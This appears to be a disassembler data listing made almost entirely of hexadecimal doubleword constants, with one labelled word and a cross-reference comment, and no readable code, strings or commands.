dd 3B4748h, 96098002h, 4114F7h, 724E441Dh, 0D890364h, 7FF26800h
dd 3038390Ah, 0FA860384h, 8BF50647h, 0F420E49Ch, 0C023DB00h
dd 0F0194E5Ah, 7C4458A3h, 0CE638A00h, 0FB372FEDh, 80030874h
dd 27539AD1h, 398CB006h, 0C05D4B24h, 45AA26C4h, 0D5144F0Bh
dd 0D2FE8582h, 0E5F2CC07h, 21EB5520h, 72E0E7h, 0ABD6B465h
dd 9175C8CAh, 0C2388D60h, 3874873Bh, 0CD80AD83h, 3CEDC690h
dd 633FC85Ah, 915B0EC9h, 15F262A5h, 2D40562Eh, 0B6E08E60h
dd 0B21B200h, 35CFC10Ch, 821400D0h, 30A82066h, 89EC561Eh
dd 4ED7CD0Eh, 32BA0BAh, 0B97C3B6Eh, 33E300FCh, 8E53C2CDh
dd 9FB9A4A0h, 0DF693013h, 941984C1h, 0EF50002Fh, 9F1A3D41h
dd 0A1C3AB0Bh, 373083D9h, 7133A048h, 0B0F0EBh, 5DA673B9h
dd 4C4E547Dh, 566A8900h, 0F672C5E5h, 0ECBE3A1Fh, 0C11A8E00h
dd 0DC2C499Eh, 161578C0h, 0B0751239h, 6ACD166Bh, 1ACD00ABh
dd 0F3C1379Ch, 0E86B5100h, 0DC7D2625h, 77D0B8A2h, 1A80F9FCh
dd 37F0EFC2h, 0D0165A5h, 62DFD61Eh, 0C6707507h, 0A45FA0h
dd 178C6C8Ch, 1E0728A6h, 5E5B586h, 569C1DA0h, 0AC2E075Dh
dd 0F0615A62h, 0B9AA8340h, 7590A300h, 4C356F46h, 12293F14h
dd 0CC8227BBh, 1F92C6ADh, 0C0D00C41h, 29F70D2h, 0E0766E40h
dd 7B19D37Ch, 6C59017Bh, 0B65D2747h, 0B5E6407Ah, 3E00A48Fh
dd 6BF602CDh, 18513D8h, 52B42E77h, 0E50C498Ah, 0CFA5D4F0h
dd 0F5D9191Ch, 0D7479480h, 4E785Ah, 1EB093E1h, 0CDC99107h
dd 6C59C8A0h, 2D4B289h, 771901C3h, 0E6E7E0FDh, 0D2218045h
dd 0CA697517h, 79CFA58h, 90034028h, 0C69AB44Eh, 600110Fh
dd 0F3518B81h, 2AF18C5Ah, 2EA43691h, 42303B3Eh, 250007E7h
dd 17FDCBh, 6DCAB257h, 0E80302C5h, 0EDD9D71Eh, 673C8F80h
dd 614C1BA8h, 7C6350C1h, 60CC02B1h, 3DBFD11Ch, 1002D8F3h
dd 0DD404C85h, 8A264448h, 8094C009h, 0E02E007Bh, 0BE5650C1h
dd 0F4893D08h, 60403AD4h, 9000813Dh, 0E862CE46h, 137FAC1Ch
dd 0DDD51Dh, 0BBB09470h, 4002383Ch, 0B407289Fh, 17C74E3h
dd 659B0DF4h, 8EC7D9F8h, 805BB278h, 0FB4A74DAh, 99E30C7Ah
dd 3618E41Fh, 95C73D00h, 8844123Bh, 0C5DB00CDh, 0C6AED3C8h
dd 9C28FB76h, 0BC00A47Ch, 0E7F89B4Eh, 1D887FEh, 51A665DBh
dd 68F42A41h, 1CB38CCh, 0CF501B44h, 0C5602272h, 804B00E1h
dd 0C6EDF8D5h, 10012F26h, 6C5775E9h, 0BCEC955Ah, 62830045h
dd 500423EAh, 4100CEFBh, 0D87930A2h, 0ADB7A2Ah, 0D624E371h
dd 21EC01B4h, 0CCA92297h, 661C3507h, 90ACED80h, 2B8FDC00h
dd 1DE2D9E1h, 0C003C29Eh, 0F9100A3Ah, 0B41213C5h, 790093CDh
dd 4CB6A69Ah, 8747482Ch, 508050h, 4A785281h, 0E4199B13h
dd 82FAD8A8h, 55312609h, 1C98F069h, 0C9B0CFh, 0F5A9245h
dd 0D0FA01DFh, 20AB212Fh, 558D28E8h, 8E320059h, 7B0125C9h
dd 0DD00C5C7h, 0FF4E67DBh, 13C148Ch, 0C007F50Fh, 787B0BF9h
dd 311000D0h, 6BF7952h, 5C360021h, 57D45D20h, 0AA271218h
dd 954C8402h, 3204F0h, 0C1DA1715h, 0F4F78791h, 34402EE9h
dd 4F79CBBFh, 0F2070047h, 0D90E3DD2h, 0EA48A7C6h, 8B50710h
dd 954002C2h, 2AA677h, 82CC1DE7h, 6B61ADD6h, 7CF06327h
dd 0B4E0006Dh, 0C09F517Bh, 0D6E6F31Ch, 28832D87h, 0C919B3D0h
dd 0A59D0013h, 0E133BC6Ah, 543D4B70h, 0A26601D2h, 3640A903h
dd 3D9B830h, 2151FC0Ah, 917807BEh, 0F272AD44h, 1E28C035h
dd 385221Ch, 8FB02600h, 843E2D93h, 0C0B200CDh, 627DD5EEh
dd 0F7004DC9h, 5352EA46h, 859A97h, 0A403DEF6h, 9EBBD0CDh
dd 92C51500h, 0AC1FAD63h, 74AFA2Ch, 7A0F190Eh, 13D760C9h
dd 550E871Ch, 20C16A4Fh, 0D48CBBE0h, 98F816h, 5C7E72C4h
dd 0A0B4C67Fh, 45BFEB0Bh, 4820A093h, 438D91Eh, 3094B1Dh
dd 0CDE6C06Bh, 3DEEACB9h, 18D00800h, 62DEFA76h, 3FD6FAA6h
dd 0AB00E10Fh, 40D573BFh, 2401F59Ch, 18A5B7ACh, 2C60F90Ch
dd 883B0061h, 5B08D791h, 0E200F758h, 13DECEADh, 5B6DCF6Ah
dd 0C1E800F4h, 2232B0D1h, 0D86FC001h, 21C9C2A9h, 514AC0h
dd 4CF91C6Eh, 7980FDC4h, 9D18C100h, 178A8132h, 0FFCD0090h
dd 5F69625Eh, 1B247C99h, 1500A92Ch, 0ABC43A72h, 932A4CFDh
dd 2431F12Ch, 1FE00E7h, 3EF7A9Fh, 0EE052D00h, 0FBF29661h
dd 1E990053h, 0AE3ACC2h, 0D0005A51h, 88B9C712h, 1869DE01h
dd 112A44E6h, 2203708Ch, 0D35EEAEFh, 615D8264h, 0B06DE6F4h
dd 0A098B107h, 188420A5h, 5600959Ch, 0AF482B29h, 768E449Fh
dd 665C0047h, 4D347051h, 0A300521Dh, 0FE17B704h, 0EB47C2C1h
dd 79830EE0h, 3E1C00CAh, 5116AF0Ah, 4C001573h, 612FB591h
dd 277202E9h, 8848FE03h, 3200319Bh, 0AA9589A1h, 12905F46h
dd 0F269C2C5h, 0FD162CBCh, 1E4D09h, 9F382FA5h, 521700C7h
dd 7685F10Ah, 6700D94Fh, 51B516E5h, 13AB01EFh, 80D0F596h
dd 0E8F27950h, 8BE01F74h, 818DB130h, 6308072Fh, 9730C6E9h
dd 6E24080Dh, 0D6E12069h, 0A1EF1088h, 4F01F69Eh, 945CF8Dh
dd 18B864E0h, 21A9DC24h, 8B13C1AEh, 0C4B4FC63h, 2F3A00ACh
dd 3137A629h, 401FBCF7h, 8100DC02h, 4AD4F83Ch, 0AF840016h
dd 11F31CD1h
dd 324FC6EAh, 5900488h, 8BB7FC31h, 595C00A3h, 36643DBh
dd 0CF571500h, 94403FC4h, 121F870h, 14B91044h, 3A302DDAh
dd 0C702C407h, 8CA080FFh, 9E1A25h, 38E424DFh, 4254515Ch
dd 4E48F77Ah, 8EF85BBFh, 0BEBCCA00h, 0AF8C7E5Bh, 0A66DE12Ch
dd 4203A800h, 9F66DEh, 0B8A5A296h, 2366F98h, 6DDCE603h
dd 0C06A8849h, 6940B1h, 0C5037EC1h, 0E5DA9F5Ch, 0AA92EA07h
dd 8E60E489h, 7C13AFh, 0DE63ACCAh, 6010DD4Fh, 0A58BA900h
dd 0B066F1E2h, 0A1900051h, 0FD8127ECh, 1D074FACh, 3A9DA8F8h
dd 0B207C48Ah, 0A6819C74h, 0D0E03D8Eh, 0E9200034h, 0F87C0EA8h
dd 89288BB5h, 4B3FA827h, 258160Ch, 32F5DC80h, 9D6314A5h
dd 0D419CC16h, 2AEC0847h, 3ADFFC00h, 51C0A5h, 13E6EADEh
dd 0E93CFF14h, 0EA90401h, 8BB60398h, 45076822h, 867D784Fh
dd 26001801h, 70F4BF5Bh, 26981DCDh, 0D258720h, 0F464C6h
dd 0FADF92F0h, 967710C0h, 0AD71A3h, 0CF0A40A7h, 8CB9FE84h
dd 0B279277Ch, 340026E4h, 0FACAAA43h, 39B33F0Eh, 3B82CE12h
dd 0CB74E0F1h, 33938980h, 0BE0024CDh, 760EB9B4h, 4D967Ah
dd 8422AF17h, 50B235B5h, 0ED384E1Fh, 498A6F00h, 0F6AAEADBh
dd 0B06A0E8Bh, 54E03178h, 1B77FEE5h, 0A23A8901h, 6C9B16BEh
dd 780862E0h, 0F0AFA09Ah, 0C40E2AAh, 0EFC6137Bh, 8D00E318h
dd 91296DBh, 1AB4BA6h, 73AACC40h, 80942568h, 0F847B230h
dd 722C7B03h, 0E4931D87h, 211E9886h, 0F707CFB1h, 0AD23F93Bh
dd 97C01287h, 0C1A78F89h, 7E243158h, 0AA70980Ah, 1B532A21h
dd 11A5BF9Ch, 90490E17h, 483F8400h, 0F0A8B6h, 0ABACFB29h
dd 9F267AF2h, 188ACB33h, 5A10D03Ch, 0F451C3A2h, 21D09B42h
dd 0EF337B67h, 96092Ah, 827AD421h, 0D1AD6A5Ah, 0E899976Ch
dd 23180F3Bh, 6D01130Dh, 0F05CD368h, 7201D16Ch, 0A3A8AB53h
dd 9AD004F9h, 0CB2F3923h, 5EA01283h, 11421ED7h, 3007E004h
dd 5610C0C6h, 7FAB0252h, 976371Ch, 0FEE44CC0h, 0B427E3h
dd 314934Eh, 6AC5671Dh, 0F9E07600h, 0A60ED371h, 0B7583B89h
dd 6BA70F01h, 0F8776150h, 26003219h, 5BD0025Dh, 0F86FF23h
dd 9B7D3AA6h, 5EA52880h, 887A972Eh, 1C104700h, 0C9168FCh
dd 0AEC028AFh, 0B4F4AAh, 0B286E6FAh, 0BD62AC69h, 210FC303h
dd 0D053E22Bh, 0EE801FD4h, 0CF8100FFh, 851A97B1h, 1100FD71h
dd 6A65FC0Fh, 0E2D187h, 7CC3DEABh, 0DB1D1594h, 4D59F000h
dd 0B9220BFBh, 9B7B46h, 0B5ABF7AFh, 0F1AD783h, 0E6386AE0h
dd 52CE80C4h, 0FCBD1720h, 0C17D00E1h, 0EAF121D3h, 0E3711586h
dd 6EB4731Ch, 0E9BB4AC0h, 306C9C43h, 0E17026F8h, 0C2006001h
dd 1D5E6B6Dh, 0F403DF2h, 67AA87CDh, 3FC711A1h, 38CC4326h
dd 0FA42E2A8h, 4B933100h, 0CAC45958h, 15FD0089h, 374FB19Dh
dd 27077252h, 698354CDh, 66E26F41h, 1F63D6CCh, 1C0D7D3Eh
dd 0D12040D2h, 3A6781BBh, 2EF64CE2h, 1FE324h, 0E125EA87h
dd 0EF5DF720h, 9C7E00D7h, 9F8D9BB8h, 60C028B6h, 0D9F1B52Ch
dd 348500C3h, 95FCB4F0h, 8A009BFFh, 273711BBh, 0ACB382h
dd 0BE6270A0h, 6D04E646h, 88D58600h, 24C83257h, 0EC0C00E5h
dd 0AB9D4C59h, 0DA1D8A84h, 7C016A92h, 0D0B0E8A9h, 115A4FCh
dd 0F8B50D1Fh, 0D9801D64h, 0A9D450FBh, 5960B6B1h, 252E7B99h
dd 896800F0h, 1D933FA3h, 0ECEDB82Bh, 0F9021A40h, 0CE363527h
dd 4978488Bh, 28020756h, 9A1BDCh, 0E1F635F4h, 4838C303h
dd 4C11F9h, 0A939EA68h, 192CD854h, 2696ED00h, 62F3DD59h
dd 7C5A3B8Fh, 7741BE80h, 14BAD67Fh, 0E249B000h, 0C6117A27h
dd 0B6E50419h, 0C29FB120h, 464165D4h, 10F0504Eh, 35F222C8h
dd 56C83461h, 5DCC83ECh, 59E5037Bh, 0B953B001h, 43326B88h
dd 66754D03h, 0A08D2A26h, 5088Fh, 0D8AEF74Eh, 786A23D4h
dd 49C64800h, 5B62F4CBh, 21B40029h, 1BD0406Ch, 0B907F290h
dd 36439163h, 0B99C7E0h, 0AE3A0092h, 9FF60265h, 9A0EFA8Dh
dd 6153D610h, 5A6ABD72h, 9334E450h, 900CE82Eh, 655630ABh
dd 5F2B927Ah, 0C9B01113h, 40A12840h, 63A83CD7h, 0D5F52A31h
dd 0C71B84C0h, 0A57A6C00h, 0AFD61632h, 4DBEA9Fh, 0ED218FA7h
dd 70F08761h, 24026242h, 0A6633600h, 8CB1B6F5h, 0E6DC070Fh
dd 0A3800E92h, 22E88DB7h, 11000D60h, 0F9C315DBh, 1679CBh
dd 6156A336h, 0FFF74CCDh, 24E93B26h, 9100481Eh, 8202149Fh
dd 8050DC10h, 0B4FFE01Ah, 9304C4E4h, 0FCF3EB1Bh, 0D0166C0h
dd 18A71740h, 0BC5A00F5h, 8F78FD8Dh, 76291A00h, 242F34EEh
dd 0D940BD10h, 0AB124F98h, 0EA1480h, 79A1D8A3h, 0A12D69Ah
dd 0B41E2EE5h, 5F7BF440h, 0C4C76h, 71020D4Eh, 378E2454h
dd 0BF5C4Ch, 5D1F78ABh, 849EDh, 4DFD5E5h, 510C1C4Dh, 0EC68F100h
dd 0BDC181F0h, 0F249E61Dh, 930F003Ah, 3B48A23Fh, 0F200074Fh
dd 47F4EC2Eh, 1A88EDh, 0D9668404h, 279822A4h, 0BA89B000h
dd 6B3623CAh, 48C7120Fh, 0CE9040A7h, 60D35AFDh, 13F96400h
dd 3EDCE5A8h, 0DAA900E7h, 49122110h, 0CD0A29EDh, 0F85B7ED4h
dd 9B3FE981h, 0A020CAF9h, 8C40508Bh, 0FCC00BFh, 7A538A2Ch
dd 0E1E3C5B6h, 1AFD8BDh, 0C4D8D300h, 70177934h, 7F78B5h
dd 0E29C9009h, 8B6A6E10h, 79D5361Dh, 4C07F392h, 5A112237h
dd 0B0803F59h, 672C985Dh, 109AC105h, 4306C300h, 0E6D63129h
dd 0F6F10024h, 21750267h, 5F033D28h, 12F23738h, 0F3100320h
dd 83294236h, 0C0E55DC3h, 103E76B7h, 619E9024h, 0FC9311Dh
dd 46F40183h, 0CAE4E081h, 4A3300C9h, 968C545Eh, 40CE53B3h
dd 2F9966B5h, 73870720h, 0C06B699Fh, 0F8FA9150h, 52ADE900h
dd 304A925Eh, 7D3F0768h, 70188D41h, 3A73CD4Ch, 6A6CA400h
dd 0B2D27B9Dh, 28C00004h, 729C215Ah, 0CE00B971h, 73C4DA4Fh
dd 41180Eh, 96FFBF0Ch, 3C63322Ch, 0D3389B00h, 482EA9C9h
dd 0F7011727h, 3BB900DEh, 371BA29h, 86E9D10Eh, 40C0DF74h
dd 0BCDB1507h, 0DC3F0022h, 64042B8Bh, 951EEAC9h, 9B80ADACh
dd 9D105A2Dh, 1BE005F4h, 81D11A2Fh, 0C063C97Eh, 7D006EEEh
dd 3EA4A5E8h, 971725h, 8F9D5574h, 15ECDB82h, 70B661Eh
dd 0BCD47D80h, 3FB79Ah, 7CC5F5FCh, 143A1946h, 1708E838h
dd 0F600715Bh, 9EB363D3h, 0C23C0088h, 5C1409BBh, 6E0BB146h
dd 0A02801CFh, 1B3A6D64h, 0DA040355h, 819F11AFh, 8B3689E0h
dd 4DE1A400h
db 4Eh, 0E6h
word_544F42 dw 0E3B5h ; DATA XREF: ___:off_4374C0o
dd 7BBC0B47h, 9900A37Fh, 0ADD3E8Ah, 0C36DB200h, 0BD13B595h
dd 58E7EAF8h, 52009084h, 51FC8A0Bh, 6A5DA098h, 58007C94h
dd 9EADEB50h, 1DB6E2E4h, 3D1DA3Eh, 3061C2F7h, 0BFA8990Bh
dd 0F8B42077h, 0FED322h, 9CD1B2FAh, 13CF5E18h, 0F3B4170Bh
dd 2F208049h, 1DB1A60h, 0EF406E6Ah, 0F02DB56Dh, 0E10EC7B6h
dd 672EB0DAh, 0A9806FA1h, 0EE81A7h, 99B6F0F7h, 0A002D978h
dd 51FBB0C3h, 1869B275h, 0AD03EA15h, 24E2B3B6h, 0AED9A0B7h
dd 0A17A6006h, 0C2E5A59Ah, 0FFD84000h, 825DA25Fh, 36F4F3h
dd 1C0FB680h, 0FE3F062Ah, 45091403h, 97A47993h, 0E75FDFD0h
dd 6DB86Fh, 4CD81703h, 0AF9DE92Ah, 6C26AC2Ch, 0E37D6600h
dd 37B8A62h, 0EB8436AAh, 20A1B0FAh, 89D2D02Dh, 0F1F3A903h
dd 0B00DADCCh, 93581Dh, 1B64D9B1h, 85F670C2h, 4211D300h
dd 3C288892h, 1612000Ch, 0E80965E4h, 7E006878h, 0D5665B80h
dd 95D3ACDh, 0DB12177Ah, 0DC81844Fh, 554D335Eh, 0FCC28850h
dd 0E0830178h, 291DAA28h, 23C4F8F4h, 58347B01h, 32DA071Eh
dd 0A31420h, 0B0D19621h, 31D3CE0Ah, 0A758CFh, 2A477735h
dd 523E03AEh, 568438CDh, 0A1ABF0D0h, 6EF56800h, 87CB2A46h
dd 0E7FF140Dh, 99E120C8h, 3D2C18C1h, 0EC006D72h, 5E8B7BA9h
dd 7524CAAEh, 4F408C07h, 1D839E9h, 0EAE496B5h, 0D1B386A7h
dd 8721BF4Ah, 0DED39E0h, 0B5B14100h, 15C47E67h, 8479F20Ch
dd 0E445E603h, 0B806FB4h, 0F800504Ah, 6BD969D0h, 557BA9Ch
dd 56ADB21Ch, 199000C7h, 9925C338h, 0ECB01154h, 0B6D2E400h
dd 6F915506h, 60473993h, 4BEA93h, 57DD9928h, 367D1E0Ah
dd 1CC81252h, 5BC7A09Bh, 4F500D1Ch, 639DB04Bh, 9F1921BCh
dd 0E98759B8h, 5E2C252Eh, 69702B18h, 267805E2h, 40D815CCh
dd 61FDABF0h, 0A3065202h, 934A318Ah, 0C83E5D08h, 61C58D00h
dd 6FBF2C56h, 281CD500h, 0FABD2DBAh, 0BB60309Bh, 180AD9E8h
dd 0F24D1E7Ah, 83CB1E10h, 40E368CFh, 0C2C6D1E2h, 6D08CCAAh
dd 68F6C4A9h, 8B20AC05h, 5820582h, 76484414h, 0B7830044h
dd 90621394h, 0BB004BEEh, 0BDDCE29Ah, 245DC87Bh, 4FE4157Eh
dd 0F3E906E0h, 1B4B9AABh, 0B19BFC41h, 66ECFCEDh, 0B57800B9h
dd 7B1C4E2Eh, 173C7F15h, 0D6D10219h, 203F4633h, 89F6BBE2h
dd 0F8D26F00h, 0D750C16Ch, 5CA90443h, 808615B1h, 1E19844Ch
dd 278F952h, 0FAF067D8h, 126B31DAh, 38B70085h, 0B80F476Ah
dd 9029A730h, 0C655B00Ch, 1B38C406h, 4C890F74h, 0C11C817Dh
dd 0B8C3D1BAh, 12B22E13h, 7D8BBE6h, 0D6C06AB0h, 0DCB0909Fh
dd 33659B7Bh, 0CFC66018h, 0D6AE0318h, 83FF946Fh, 40C05000h
dd 0D35B54Eh, 0FA70C1C6h, 24D3F46Bh, 93FA0928h, 0A130CE73h
dd 6B3920AFh, 0FAD74080h, 0B7E69F0Ch, 69683Ah, 0D09C731Fh
dd 0D6EC124Bh, 409AFF24h, 11A6DF00h, 58D63B9h, 0F27A69F5h
dd 2C944F56h, 5BAA2380h, 0A9306155h, 1E52A830h, 6CD2504Bh
dd 609056DDh, 9A2D4902h, 0F0A12298h, 301806BEh, 0A60DF7F8h
dd 8EFA053h, 7DF0048h, 5654183Eh, 6B8E607Ch, 3C02B516h
dd 0C6CA911Ch, 2C086606h, 92844FEh, 899DA4Eh, 95FC104Bh
dd 26603C39h, 326ACD80h, 0B6F61434h, 0C5FA4514h, 801D2494h
dd 6A465Eh, 96A6333Fh, 18691004h, 0F8B60160h, 88058679h
dd 0A706DC24h, 10ACEC49h, 77596C4Ch, 4278CC76h, 0D4A13851h
dd 22C821A8h, 14363BE0h, 0BD9C8816h, 0A5B30F6h, 248D1200h
dd 739E3F78h, 59346008h, 0DC8FA37h, 14BF703h, 0D0A9B7DFh
dd 3CF3C16h, 0A0423185h, 0B8A653D6h, 1944DC87h, 9781EC60h
dd 0D0A3AEEh, 6CC02BD6h, 0D58A691Dh, 670B94B3h, 23581333h
dd 40394E8h, 8CA7DF18h, 0DD231762h, 0DE50B0FCh, 0BC2703D0h
dd 74C968A7h, 67F25811h, 5C73220Eh, 6BBAD380h, 0BCFEB078h
dd 0E1022B00h, 20524689h, 4B303E0h, 5BCB0D43h, 40BCA848h
dd 26057E44h, 37A7E6A0h, 0B0808804h, 8B1C82h, 0C2CF4401h
dd 8669F33Ch, 41FB8ECBh, 68A23A28h, 8784D7ACh, 7AC76B30h
dd 0DA1709C0h, 0F1AA7CA0h, 500E02C6h, 5B6597h, 0DE82559Ch
dd 12F01603h, 52181D87h, 50C01A5h, 815BD50Dh, 0A295CD61h
dd 9C02858h, 0E890027h, 0D2EAC276h, 3800FA83h, 0F1C72BFCh
dd 92053624h, 330A0074h, 91979B1h, 137CDC14h, 0D3FB6400h
dd 0DD015F7Ch, 0F3B036CEh, 8E0C0810h, 808C8533h, 70E001F8h
dd 0F2A00BD1h, 0A8B560C5h, 6AFDB40Fh, 202D0999h, 0A19FCC30h
dd 0DBA000D4h, 38403E67h, 1D001269h, 0FE7FCD3Dh, 84D3069Fh
dd 19A0313Ch, 7103C0Fh, 2F492CE3h, 6CFF8128h, 24AF518Bh
dd 133EB0ECh, 0D21018DCh, 9A2B29h, 8E888531h, 0F93716F6h
dd 10F8D892h, 0BB12380h, 5BCA5EC2h, 55042583h, 32C1F8F0h
dd 947FF8E9h, 796B0303h, 2687F12Ch, 9CC08F0h, 6C81DD5Bh
dd 30FA5CC6h, 99C015C0h, 6A36352Fh, 207C00CAh, 11B8CDE8h
dd 3E020725h, 0A0186545h, 0B120A31Eh, 2C3900D7h, 5C274CFFh
dd 7C93499Bh, 1D52770h, 7ED8A8ACh, 343135D6h, 0C09872F8h
dd 38C2D20h, 759FE2FCh, 3187F991h, 50F63849h, 68AE7CD4h
dd 6B584703h, 4BEB387h, 5CC5C318h, 62888014h, 20840F83h
dd 0FB042E4Ah, 88DE03A8h, 0D6800CDBh, 0F07803B5h, 43B2000h
dd 718FE577h, 50064C1Ah, 6A3D5580h, 5E03A7A0h, 899593C5h
dd 49FDA87Eh, 3C90B8E3h, 3680822Fh, 31DD3DE9h, 7F1F8A6Ah
dd 0FC64F22Dh, 0A694F583h, 0E99A9884h, 60B7327h, 6BDC73D1h
dd 2CE4D969h, 35ECC709h, 0FA90484Bh, 2ECD1233h, 0FC00145Eh
dd 0E0EF0714h, 3EAA81Fh, 3D946BF9h, 45B22001h, 0C45DB939h
dd 4108D420h, 0FA67F088h, 7935DD05h, 0D8D8CE26h, 46108A7h
dd 0D7C69352h, 6F8B0021h, 384B5162h, 215D16C6h, 3AF803E4h
dd 83CEDC66h, 42E7E80Ah, 3EF39E1h, 0CF2EF280h, 0B52B5D2Ah
dd 91A52412h, 0B587149Bh, 604CC72Ah, 6DF459Fh, 4DDCD000h
dd 17013627h, 38C42857h, 196D0BB8h, 0FC012D7Dh, 333C1Bh
dd 396B10B0h, 0C6872A2Fh, 8941B8A7h, 0C848C8A9h, 0E1D0A7Bh
dd 83C055E9h, 0AF7F272Ch, 0A7E12809h, 3BDB0AB0h, 28A4A451h
dd 0B0A1CEDDh, 0CDC0E300h, 6F05A2A9h, 448A3579h, 0FE945480h
dd 9584003Ah, 7BD721D1h, 774883B4h, 0A1D022B8h, 0BED4CD46h
dd 94F54826h, 0AED6E102h, 24ECA9CAh, 0B444E502h, 19B376B6h
dd 9CED1046h, 2E6EC39h, 0B2141B5Eh, 0AC6A8D35h, 31A19441h
dd 9350642Fh, 44E3248Ch, 2C86147Dh, 0EF803F88h, 329C399Ah
dd 5BD81EE1h, 7B426B8h, 4037590Dh, 0AF2F69FFh, 5C800891h
dd 0A3CAA915h, 0DECB0777h, 40F24C87h, 544AFEE4h, 0D8E95909h
dd 0B0F4C004h, 3B4026F9h, 72A04CE4h, 0E2010743h, 0EEB5D744h
dd 88400CE4h, 390199E8h, 19E7ABC9h, 0DCD046EFh, 0C0AE09F1h
dd 1180FF3Dh, 76CC5C1Eh, 347F6604h, 78B441ACh, 99F70061h
dd 4A0DD6E5h, 6B008B63h, 2EBB8A3Ah, 9022A11Eh, 6919132Ch
dd 39B86179h, 2049C565h, 0DB0A1B8Eh, 0E8CA66EEh, 0CD46ACA8h
dd 361E002h, 0D631DB52h, 61DF0015h, 0A7B40A12h, 0D805C012h
dd 5CE54C00h, 3147335Eh, 9BB11F81h, 4C345C0h, 0D4F255E4h
dd 99A004ACh, 65FC802Dh, 0FE02B5FFh, 6306DBE1h, 0F394E44Ch
dd 171DFF18h, 0D42EA7A8h, 0F7E070h, 36B65117h, 0ABBDAC89h
dd 2DBAF09h, 0FFC861B0h, 6709D618h, 65AAFAE2h, 0CF638050h
dd 3E014E68h, 0F94DDF04h
dd 64D134A3h, 58F6ADB0h, 3EEC9018h, 76402285h, 31A27A27h
dd 0B10017D8h, 8130645Eh, 0D6528053h, 0E833605Bh, 2027C944h
dd 0DC2A4802h, 7B05D934h, 93D3821Ch, 209C65D1h, 50C3623h
dd 0D73E52h, 637D84C5h, 694C740Bh, 16C11226h, 0B938E8A4h
dd 25EB800Ch, 0C74EA375h, 0D429FB03h, 90160491h, 696550B5h
dd 3C1840CFh, 0F0001387h, 9F6F1A59h, 77CCBC72h, 0B5A93AB0h
dd 0EA9EBD00h, 5DC2C456h, 384DCE20h, 94801C36h, 77ED25BFh
dd 3B000CACh, 0FA4CF57Bh, 908F1143h, 0B42600A8h, 0E32459BFh
dd 0AD3D66DCh, 86C01F2h, 6069E0E9h, 2C123C39h, 0E18497B2h
dd 0DA5153h, 7E5EC16Ah, 296175D2h, 0BFC4A34h, 57D05BA3h
dd 8F36E900h, 538D69A1h, 0AB087878h, 9AC0C788h, 5C1F0E8Eh
dd 144F06BFh, 0BA0C5DE4h, 24D8571Ah, 3607F891h, 0C0EE2146h
dd 0C06B42DCh, 0F0C8C0B0h, 99DA4DACh, 0F447BB00h, 9D70A269h
dd 13B11E5Eh, 2AB9407Bh, 8A4A140h, 0A24D1903h, 1640321h
dd 0C98B0C28h, 60F06F35h, 0D41D17BFh, 791CA37Dh, 0C02620F0h
dd 93E0335h, 0D1682810h, 0AA1907C8h, 0C7C92400h, 0A7D4BB91h
dd 0CAA20367h, 0B44A3B1Bh, 0D0C16BA3h, 2BF9EC93h, 0BC8CD70Ch
dd 0C01809EFh, 0A44BB021h, 50066EB2h, 234A56F1h, 97700018h
dd 0EB7658Ah, 453E6A52h, 0C5607950h, 68D67039h, 184830C0h
dd 0FF3BAC11h, 6745D3Ah, 2B8CB31Eh, 88AE5408h, 0E93348CEh
dd 0BCBD2E00h, 97130332h, 292A751Ah, 228C04D1h, 6E35CE60h
dd 8CDF023h, 2500A080h, 0B14335F9h, 0EE2C003Dh, 649FF896h
dd 4618AB62h, 7BB067E0h, 5D2414EAh, 291D94DDh, 70091850h
dd 7602A334h, 0C58889F1h, 10E842D5h, 11FF4268h, 8833745Ah
dd 3ACD80AFh, 435840FFh, 0CB007F76h, 74C29CD9h, 0F7FC3104h
dd 0E0466920h, 618A6068h, 7CDD7657h, 3E3F8B78h, 259380A8h
dd 1DA7B1A0h, 40E9008Dh, 0B8DC054Fh, 7E039D26h, 3ABAAD04h
dd 0CAE8A0AEh, 0D1FE87h, 6F7C9EAh, 0B8D8D6FDh, 77B03000h
dd 49514C0Eh, 92891E24h, 0BEFD01BDh, 7A691DAFh, 68886780h
dd 8E5E00F2h, 5DB09CB3h, 2FFC9D9Ah, 62F66701h, 9E63A3D5h
dd 5F89E4h, 5DE11458h, 0E493BACCh, 0DB98F2E8h, 465A6D00h
dd 0CF17A7B7h, 0DB84077Fh, 0C06EA6AEh, 198F7668h, 3BEC3Eh
dd 1724CBB8h, 0E704BBEh, 0D22EAA4Ch, 0DDBA7C80h, 8C002634h
dd 28EAC188h, 0E6431927h, 5CDE0037h, 0DBE6839Fh, 0BA33348Ch
dd 5809F3h, 83D73C21h, 70A7DBC2h, 4C0024F8h, 20777EF6h
dd 0C589A14h, 128995CFh, 7C0E9C30h, 8FC540D9h, 6F7E002Eh
dd 63A10EDh, 3F432B11h, 0A6600809h, 0E803FF21h, 8BAD0015h
dd 0F682E216h, 0D6302AF7h, 907C815Eh, 0E4F41D38h, 0E10304Ch
dd 6D018011h, 505BB393h, 89803AAh, 0B268312Eh, 22418600h
dd 0E5C4B36h, 0CAC11E80h, 0E82B02CEh, 84AE7F08h, 83A28031h
dd 8C74DBE7h, 0E433AD44h, 21090383h, 7C9F2217h, 5D5084D8h
dd 0BD3C80A0h, 8053D43Eh, 0DFE9EE19h, 0E8EC04h, 8B78496Ch
dd 639D4240h, 7186BA00h, 3D53DE35h, 1E5A00C5h, 2517DDE7h
dd 92028C23h, 0DB1D5738h, 0E68F60DCh, 0B2613BC6h, 280F5D00h
dd 43D96E93h, 0DEE27B00h, 0B7A00365h, 6D760074h, 0DBEE2BCEh
dd 0CF1D96F9h, 161CD0A8h, 0E4C080FAh, 615A604Fh, 0AF64C791h
dd 0D6FE104Bh, 78013DE5h, 3CA949D5h, 0A77077CAh, 722B009Bh
dd 65E10F57h, 6E70AA44h, 0C7EF3804h, 5780D117h, 0F8B3D0A6h
dd 9BDA0157h, 88A1F20Ch, 42E6C83Bh, 9EE58501h, 0E0B6935Ch
dd 3AA32880h, 0F2CF0C9Ah, 0FA315D7Ch, 0DBEF18CEh, 187B40A8h
dd 11FFB54Eh, 61048352h, 35989559h, 37915AC3h, 0F0211608h
dd 0CEC9609Ch, 0F8F75818h, 20EFA698h, 0A83E84F5h, 1A607B38h
dd 7B5A8F18h, 3A5F8B1h, 2456504Dh, 71B89A65h, 75000A7Dh
dd 0BD5A4E13h, 392C3412h, 0F7B5E9h, 0C220A1F3h, 0BB5543A9h
dd 1EBF5600h, 9F458146h, 51E30084h, 6B17E578h, 7A0063BDh
dd 7F941225h, 0C5824h, 0F12795B8h, 0A429494Fh, 0D343900h
dd 9B26535h, 0BD97EF2h, 8CFA31F0h, 0D6857180h, 0A800DDA2h
